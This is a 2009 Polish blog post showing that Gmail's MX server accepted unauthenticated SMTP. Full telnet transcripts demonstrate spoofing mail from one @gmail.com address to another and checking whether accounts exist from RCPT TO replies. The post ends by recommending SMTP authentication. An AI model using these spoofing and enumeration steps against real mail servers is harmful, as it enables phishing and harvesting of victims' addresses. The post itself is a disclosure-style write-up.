Gmail SMTP bez uwierzytelnienia

5 maj 2009, autorstwa: kozik

Nie wiem czy znane czy nie znane, ale napewno zabawne – Gmail pozwala na wysyłanie do swoich użytkowników dowolnych maili z dowolnego konta w ramach @gmail.com bez uwierzytelnienia.

Najpierw nagłówki spamu, który nie został odfiltrowany:

Delivered-To: moj_email@gmail.com
Received: by 10.86.87.16 with SMTP id k16cs149814fgb;
Mon, 4 May 2009 22:31:08 -0700 (PDT)
Received: by 10.115.59.4 with SMTP id m4mr4835640wak.204.1241501466911;
Mon, 04 May 2009 22:31:06 -0700 (PDT)
Return-Path: <moj_email@gmail.com>
Received: from aeconcepts.com ([117.98.104.11])
by mx.google.com with SMTP id z15si30429342pod.7.2009.05.04.22.30.57;
Mon, 04 May 2009 22:31:06 -0700 (PDT)
Received-SPF: neutral (google.com: 117.98.104.11 is neither
permitted nor denied by domain of moj_email@gmail.com)
client-ip=117.98.104.11;
Authentication-Results: mx.google.com; spf=neutral
(google.com: 117.98.104.11 is neither permitted
nor denied by domain of moj_email@gmail.com)
smtp.mail=moj_email@gmail.com
Date: Mon, 04 May 2009 22:31:06 -0700 (PDT)
Message-Id: <49ffcf1a.0f98600a.5e35.fffffc06SMTPIN_ADDED@mx.google.com>
To: moj_email@gmail.com
Subject: Regional Representatives Needed
From: moj_email@gmail.com
MIME-Version: 1.0
Importance: High
Content-Type: text/html

Powyższy mail przeszedł anty-spama i figuruje u użytkownika jakby został wysłany od “moj_email@gmail.com” do “moj_email@gmail.com”.

No to zróbmy test:

telnet gmail-smtp-in.l.google.com 25
Trying 209.85.220.22...
Connected to gmail-smtp-in.l.google.com.
Escape character is '^]'.
220 mx.google.com ESMTP 26si6753679fxm.70
HELO moja_domena
250 mx.google.com at your service
MAIL FROM: <moj_email@gmail.com>
250 2.1.0 OK 26si6753679fxm.70
RCPT TO: <moj_email@gmail.com>
250 2.1.5 OK 26si6753679fxm.70
DATA
354 Go ahead 26si6753679fxm.70
Date: 03 Jan 07 21:21:21
From: moj_email@gmail.com
To: moj_email@gmail.com
Subject: temat wiadomosci
tresc wiadomosci
.
250 2.0.0 OK 1241511593 26si6753679fxm.70

Przeszło! Wprawdzie anty-spam wrzucił to do folderu “Spam”, ale SMTP zaakceptował bez uwierzytelnienia. Bomba, jedziemy dalej – czy to open-relay?

telnet gmail-smtp-in.l.google.com 25
Trying 209.85.220.22...
Connected to gmail-smtp-in.l.google.com.
Escape character is '^]'.
220 mx.google.com ESMTP 26si6761134fxm.94
HELO moja_domena
250 mx.google.com at your service
MAIL FROM: <moj_email@gmail.com>
250 2.1.0 OK 26si6761134fxm.94
RCPT TO: <moj_email@kozik.net.pl>
DATA
550-5.1.1 The email account that you tried to reach does not exist. Please try
550-5.1.1 double-checking the recipient's email address for typos or
550-5.1.1 unnecessary spaces. Learn more at
550 5.1.1 http://mail.google.com/support/bin/answer.py?answer=6596 26si6761134fxm.94
503 5.5.1 RCPT first. 26si6761134fxm.94
QUIT
221 2.0.0 closing connection 26si6761134fxm.94
Connection closed by foreign host.

OK, Gmail nie jest open-relay’em :) . Zbadajmy teraz czy jakies konto istnieje w Gmail:

telnet gmail-smtp-in.l.google.com 25
Trying 209.85.220.22...
Connected to gmail-smtp-in.l.google.com.
Escape character is '^]'.
220 mx.google.com ESMTP 26si6762794fxm.46
HELO moja_domena
250 mx.google.com at your service
MAIL FROM: <moj_email@gmail.com>
250 2.1.0 OK 26si6762794fxm.46
RCPT TO: <nieistniejacy_email@gmail.com>
550-5.1.1 The email account that you tried to reach does not exist. Please try
550-5.1.1 double-checking the recipient's email address for typos or
550-5.1.1 unnecessary spaces. Learn more at
550 5.1.1 http://mail.google.com/support/bin/answer.py?answer=6596 26si6762794fxm.46
DATA
503 5.5.1 RCPT first. 26si6762794fxm.46
QUIT
221 2.0.0 closing connection 26si6762794fxm.46
Connection closed by foreign host.

Yep, bez uwierzytelnienia można sprawdzać czy dane konto w @gmail.com istnieje czy też nie. A czy możemy podszyć się pod użytkownika @gmail.com i wysłać do innego w @gmail.com?

telnet gmail-smtp-in.l.google.com 25
Trying 209.85.220.61...
Connected to gmail-smtp-in.l.google.com.
Escape character is '^]'.
220 mx.google.com ESMTP 17si6921096fxm.53
HELO moja_domena
250 mx.google.com at your service
MAIL FROM: <moj_email@gmail.com>
250 2.1.0 OK 17si6921096fxm.53
RCPT TO: <inny_istniejacy_email@gmail.com>
250 2.1.5 OK 17si6921096fxm.53
DATA
354 Go ahead 17si6921096fxm.53
Date: 03 Jan 07 21:21:21
From: moj_email@gmail.com
To: inny_istniejacy_email@gmail.com
Subject: temat wiadomosci - test open relay Google
Google jest prawie jak open relay :)
.
250 2.0.0 OK 1241511833 17si6921096fxm.53

Aha, mail przeszedł (może trafił do spamu, może nie)… ale w każdym razie inny user dostanie od nas maila (a właściwie nie od nas, ale od e-maila, pod który się podszywamy). Czyli możemy bez uwierzytelnienia:

  • sprawdzać czy dany e-mail w domenie @gmail.com istnieje lub nie;
  • wysyłać maila do dowolnego adresu @gmail.com od tego adresu;
  • wysyłać maila do dowolnego adresu @gmail.com z dowolnego adresu @gmail.com.

Boskie :) . Czy to poważna sprawa? Anty-spam i tak większość takiego podszywania się wykryje, ale jak widać w praktyce przynajmniej raz nie wykrył. Wtedy ktoś może dać się zmylić i oszukać… W tym przypadku użytkowniczka była zdziwionia… i na szczęście wyedukowana pod kątem podejrzliwości i nie zaufała spamowi :) .

A przecież wystarczy wymuszać uwierzytelnienie SMTP i problemu nie ma…

P.S. Credits: za odkrycie “luki” – Marcie :) .

Wysłano w Blog - Web | Tags: , | 1 komentarz »

Adres dla trackback. RSS dla komentarzy w tym wpisie.

1 komentarz

  1. Gmail bez SMTP-AUTH « Paweł Kosiński – Blog Says:

    [...] – 2009-08-24T14:34:00+02:00 Jeszcze na początku maja tego roku pisał o tym Kozik we wpisie Gmail SMTP bez uwierzytelnienia. Kategorie:WTF, Web, Wszystko Tagi:bezpieczeństwo, Gmail, Kozik, SMTP, SMTP-AUTH, [...]

Dodaj komentarz




Uwaga: Włączona jest moderacja komentarzy, więc nowy komentarz nie ukaże się bezpośrednio po jego wysłaniu.

Uwaga: Działa filtr antyspamowy. Jeśli umieścisz w komentarzu odnośniki, to może on zostać błędnie zakwalifikowany jako spam.